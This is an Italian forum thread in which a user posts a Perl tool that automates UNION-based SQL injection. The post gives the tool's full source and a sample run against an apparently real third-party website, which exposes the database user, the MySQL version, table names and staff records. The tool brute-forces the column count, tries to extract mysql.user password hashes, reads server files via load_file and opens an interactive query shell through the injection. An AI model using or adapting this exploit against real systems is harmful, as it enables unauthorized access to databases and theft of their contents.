SQL Injection Assistant

Stato
Discussione chiusa ad ulteriori risposte.

girex

Utente Silver
11 Giugno 2007
39
3
1
66
Script che consente di automatizzare una serie attacchi SQL injections per ottenere informazioni sul database ed essere in grado di sfruttare al meglio il bug.

D:\Documents and Settings\Davide\Desktop>perl a.pl -u "http://www.luimo.org/news
.php?" -v id -n 7

----------------------------------------

SQL Injection Assistant v0.1 by girex

----------------------------------------

Testing if http://www.luimo.org/news.php? is vulnerable...

Vulnerable to id=1' AND 0 UNION ALL SELECT 0,1,2,concat(0x67697233782d7430306c,1
,0x67697233782d7430306c),4,5,6%23

----------------------------------------

User: luimo@localhost
MySQL version: 5.0.24-community-nt
Database name: luimo
Priviledge to access to mysql.user: no

Trying to load_file /etc/passwd.. FAILED

Retrieving tables of luimo...

Trovate 37 tabelle nel db luimo
Verranno visualizzate le prime 30:

lu_casi_clinici
lu_clienti
lu_clienti_tipo
lu_clienti_titolo
lu_corsi
lu_dl_categorie
lu_dl_indirizzi_categorie
lu_dl_messaggi
lu_dl_messaggi_inviati
lu_dl_templates
lu_dl_visite
lu_eventi
lu_immagini
lu_immagini_file
lu_immagini_testi
lu_lingue
lu_log_accessi
lu_log_documenti
lu_log_eventi
lu_log_sezioni
lu_mf_articoli
lu_mf_links
lu_mf_rassegna
lu_moduli_disponibili
lu_news
lu_pagine
lu_rassegna
lu_staff
lu_staff_attributi
lu_staff_x_attributo

Visualizzare le prossime 30? [y/n] n


Visualizzare le colonne di una tabella? y/n y

Show columns of table: lu_staff

id
id_staff_attributo
nominativo
titoli
posizione

Obtained a SQL "command line shell".
You can select only 1 field or function (ex. load_file(), concat()).
Type exit to quit from shell and terminate script.

SELECT> id
FROM> (press enter if none) lu_staff
WHERE> (press enter if none)
LIMIT> (press enter if none) 0,1


Query: SELECT id FROM lu_staff LIMIT 0,1
Output:

ST000002

SELECT> exit

D:\Documents and Settings\Davide\Desktop>



Qui il codice:
Codice:
#!/usr/bin/perl
# SQL Injection Assistant v0.1 by girex   31/03/09
# Homepage: girex.altervista.org

use Getopt::Long;
use LWP::UserAgent;

my $lwp = new LWP::UserAgent;
my ($target_url, $bugged_var, $n_columns, $post_data, $cookie_data, $help, $proxy) = ();

my $match = "gir3x-t00l";

GetOptions( 
			'proxy=s' => \$proxy,
			'u=s'  =>  \$target_url,
			'v=s'  =>  \$bugged_var,
			'n=i'  =>  \$n_columns,
			'p=s'  =>  \$post_data,
			'c=s'  =>  \$cookie_data,
			'h' => \$help
		   );

help() and exit if defined $help or not ($target_url and $bugged_var);	   
banner();

my $target = $target_url;
$target .= "?" unless $target_url =~ /http:\/\/.*\/.*\?/;

$lwp->default_header('Cookie' => $cookie_data) if defined $cookie_data;
$lwp->proxy('http', $proxy) or die "\nBad proxy" if defined $proxy;
$lwp->timeout(10);

my @quotes = ("1", "1'", '1"', "", "'", '"'); #  .. "1)", "1')", '1")' ecc. add if need

if(defined $post_data)
{
	%post_hash = make_hash($post_data);
}

$| = 1;
print "\nTesting if $target_url is vulnerable...\n\n";

if(defined $n_columns)
{
	$g_pos = make_test($n_columns);
}
else
{
	find_ncol();
}
				 
if(not defined $g_pos)
{
	print "\n", "-" x 40, "\n";
	
	print "\nThere are some problems with the injection\n".
		  "tool attemped something like this and it seems to be not vulnerable:\n\n".
		  "GET: ${target}&${bugged_var}=${inj}\n\n";
		  
	print "POST: ${post_data}&${bugged_var}=${inj}\n"
	if(defined $post_data);
	
	print "\n", "-" x 40, "\n";
	exit;
}

print "Vulnerable to ${bugged_var}=${inj}\n\n", "-" x 40, "\n\n";

my $dbuser = sql_select("USER()"); 
my $dbversion = sql_select("VERSION()");
my $db_name = sql_select("DATABASE()");

print "User: " . $dbuser  . "\n";
print "MySQL version: " . $dbversion . "\n";
print "Database name: " . $db_name . "\n";

if(sql_select(1, "mysql.user"))
{
	print "Priviledge to access to mysql.user: yes\n\n";
	
	$_dbuser = $1 if $dbuser =~ /(\w+)@/;
	
	if($pass = sql_select("Password", "mysql.user", "User='${_dbuser}'"))
	{
		print "User: $_dbuser\nPassword: $pass\n\n";
	} 
	else
	{
		print "Seems that user $dbuser doesn't has a password!\n\n";
	}
}
else
{
	print "Priviledge to access to mysql.user: no\n\n";
}

print "Trying to load_file /etc/passwd..  ";
($loadfile = sql_select("load_file('/etc/fstab')")) ? print "SUCCESS\n\n" .$loadfile. "\n\n":
													  print	"FAILED\n\n";

if( sql_select("1", "information_schema.tables") )
{
	print "Retrieving tables of ${db_name}...\n\n";
	my @tables = tables_info($db_name);

	print "\nVisualizzare le colonne di una tabella? y/n ";
	chomp(my $ans = <>);

	if($ans =~ /^y|yes$/i)
	{

		do {	
			print "\nShow columns of table: ";
			chomp($tb = <>);
	
			print "Error: $tb is not in the tables's list!\n" if not in_array($tb, @tables);
		}
		while (not in_array($tb, @tables));

		@columns = columns_info($tb);
	}
}
else
{
	print "Failed to access to information_schema. It doesn't exists.\n";
}

print "\nObtained a SQL \"command line shell\"\.\n";
print "You can select only 1 field or function (ex. load_file(), concat()).\n";
print "Type exit to quit from shell and terminate script.\n\n";
sql_shell();

sub sql_shell()
{
	my @query = ();
	
	while(1)
	{
		my @query = ();
		
		print "SELECT> ";
		chomp(my $uselect = <>);
	
		exit if $uselect =~ /^exit$/i;
	
		print "FROM>  (press enter if none) ";
		chomp(my $ufrom = <>);

		print "WHERE> (press enter if none) ";
		chomp(my $uwhere = <>);
	
		print "LIMIT> (press enter if none) ";
		chomp(my $ulimit = <>);
	
		print "\n\nQuery: SELECT $uselect ";  
		push(@query, $uselect);
		
		print "FROM $ufrom " 	and push(@query, $ufrom)  if  $ufrom;
		print "WHERE $uwhere "  and push(@query, $uwhere) if  $uwhere;
	
		if($ulimit)
		{
			print "LIMIT $ulimit";
			
			if(not $uwhere)
			{
				push(@query, undef);
				push(@query, $ulimit);
			}
			else
			{
				push(@query, $ulimit);
			}
		}
	
		print "\nOutput: \n\n", sql_select( @query ), "\n\n";
	}
}

sub find_ncol()
{
	my $i = 1, $n = 1;
	$g_pos = undef;
	
	do
	{
		print STDOUT "Testing UNION with $i columns...\r";
		
		$n_columns = $i;
		$g_pos = make_test($i); 
		
		$i++;
		if( $i > 30 * $n and not $g_pos)
		{
			print "No results with ", $i * ($n - 1) + 1,
				  " to ", $i * $n - 1,  " columns. Continue for other 30? y/n ";
			chomp(my $ans = <>);
			
			print "\n" x 2;
			
			if($ans =~ /^y|yes$/i)
			{
				$n++;
			}
			else
			{
				print "Error: SQL Injection failed!\n" and exit if not $g_pos;
				last;
			}
		}	
	
	} while( not $g_pos );
	
}

sub columns_info()
{
	my $i = 0;
	my $tb_name = shift;
	my @rv_columns = ();


	do {
		$c_name = sql_select("column_name", "information_schema.columns", 
							  "table_name='${tb_name}'", "${i},1", $g_pos);
							  
		if(defined $c_name)
		{
			print STDOUT "\n", $c_name;
			push(@rv_columns, $c_name);
		}
		
		$i++;
		
	} while(defined $c_name);
	
	print "\n" x 1;
	return @columns;
}	

sub tables_info()
{
	my $i = 1, $n = 1;
	my $dbname = shift;
	my @rv_tables = ();

	if($dbname !~ /DATABASE\(\)/i)
	{
		$dbname = "'". $dbname ."'";
	}
	
	my $count = sql_select("COUNT(*)", "information_schema.tables", 
							  "TABLE_SCHEMA=${dbname}");
							  
	if($count > 30)
	{
		print "Trovate $count tabelle nel db $db_name\n",
			  "Verranno visualizzate le prime 30:\n\n";
	}
	
	do {
		$tb_name = sql_select("table_name", "information_schema.tables", 
							  "TABLE_SCHEMA=${dbname}", "${i},1");
							  
		if(defined $tb_name)
		{
			print STDOUT $tb_name, "\n";
			push(@rv_tables, $tb_name);
		}
		
		$i++;
		
		if($i > $n * 30)
		{
			$n++;
			print "\nVisualizzare le prossime 30? [y/n] ";
			chomp($ans = <>);
			print "\n";
			$tb_name = undef if $ans =~ /^n|no$/i;
		}
		
	} while(defined $tb_name);
	
	return @rv_tables;
}	

sub sql_select(@)
{
	my $r_select = undef;
	our $inj = make_inj( @_ );

	if(defined $post_data)
	{
		$post_hash{$bugged_var} = $inj;
		$res = $lwp->post($target ."&${bugged_var}=${inj}", %post_hash);
	}
	else
	{
		$res = $lwp->get($target."&${bugged_var}=${inj}");#, %post_hash);
	}
	
	if($res->is_success)
	{
		$r_select = $1 if $res->content =~ /gir3x-t00l(.+)gir3x-t00l/;
		
		if($res->content =~ /gir3x-t00l/ and $res->content !~ /gir3x-t00l(.+)gir3x-t00l/)
		{
			my $out = $res->content;
			my $_out = substr($out, index($out, 'gir3x-t00l') + 10);  
			my $n = index($_out, 'gir3x-t00l');
			my $__out = substr($_out, 0, $n);
			$r_select = $__out;
		}
		
	}
	else
	{
		print $res->status_line, "\n";
		exit;
	}	
	
	return $r_select;		
}
		
sub make_test()
{
	my $n_col = shift;
	$n_columns = $n_col;

	for(my $i = 0; $i < $n_col; $i++)
	{	
		foreach $q(@quotes)
		{
			$quote = $q;
			return $i if sql_select('1', undef, undef, undef, $i);
		}
	}
	
	return undef;
}	

sub make_hash()
{
	my %hash = ();
	my $data = shift;
	
	@vars = split('&', $data);
		
	foreach $v(@vars)
	{
		($key, $value) = split('=', $v);		
		$hash{$key} = $value;
	}
				
	return %hash;
}

sub make_inj()
{
	my $str = undef;
	my ($select, $from, $where, $limit, $pos) = @_;
	
	$pos = $g_pos if not defined $pos;

	if($select =~ /(.*)['|"](.*)['|"](.*)/)
	{
		$select = $1 .hex_str( $2 ). $3;
	}
	
	if($where =~ /(.*)['|"](.*)['|"](.*)/)
	{
		$where = $1 .hex_str( $2 ). $3;
	}
	
	$str = "${quote} AND 0 UNION ALL SELECT ";
	
	for(my $i = 0; $i < $n_columns; $i++)
	{
		$str .= ($i == $pos) ? "concat(". hex_str($match).",${select},".hex_str($match).")" : "$i"; 
		$str .= ',' unless $i == $n_columns - 1;
	}
	
	$str .= " FROM ${from} " if defined $from;
	$str .= "WHERE ${where} " if defined $where;
	$str .= "LIMIT ${limit}" if defined $limit;
	$str .= "%23";
	
	return $str;
}

sub in_array()
{
	my $find = shift;
	my @array = @_;

	foreach $x(@array)
	{
		return 1 if $tb eq $x;
	}
	
	return undef;
}
						
sub hex_str()
{
	return '0x'. unpack("H*", shift);
}	
	
sub banner
{
	print "\n", "-" x 40, "\n\nSQL Injection Assistant v0.1 by girex\n\n", "-" x 40, "\n";	
}
	
sub help
{

	banner();

	print qq(
	
usage: perl $0 -u [target_url] -v [bugged_var] -n [columns_number] [OPTIONS]
example: perl $0 -u http://localhost/index.php?module=forum -v id -n 14

ATTENZIONE! I parametri -u, -v sono OBBLIGATORI!
E' tuttavia raccomandato specificare anche il parametro -n

-u : usare questo parametro per specificare l'url del sito vittima
     example: -u http://localhost/index.php?module=forum
	 
-v : usare questo parametro per specificare la variabile buggata GET o POST
     example: -v forum_id
	 
-n : usare questo parametro per specificare il numero di colonne della UNION
     example: -n 11  	 
  
-p : usare questo parametro per mandare dati aggiuntivi via POST
     example: -p order=ALL&Submit=invia
  
-c : usare questo parametro per mandare dati aggiuntivi via COOKIE
     example: -c memberid=1; membercookie=Fshsj;	 
	 
-proxy: usare questo parametro per utilizzare un proxy
        example: -proxy 89.89.89.89:80
	 
	);

	print "\n", "-" x 40, "\n";
}
 
Alla fine ho pensato a questa:
Script che consente di automatizzare una serie attacchi SQL injections per ottenere informazioni sul database ed essere in grado di sfruttare al meglio il bug.
 
Stato
Discussione chiusa ad ulteriori risposte.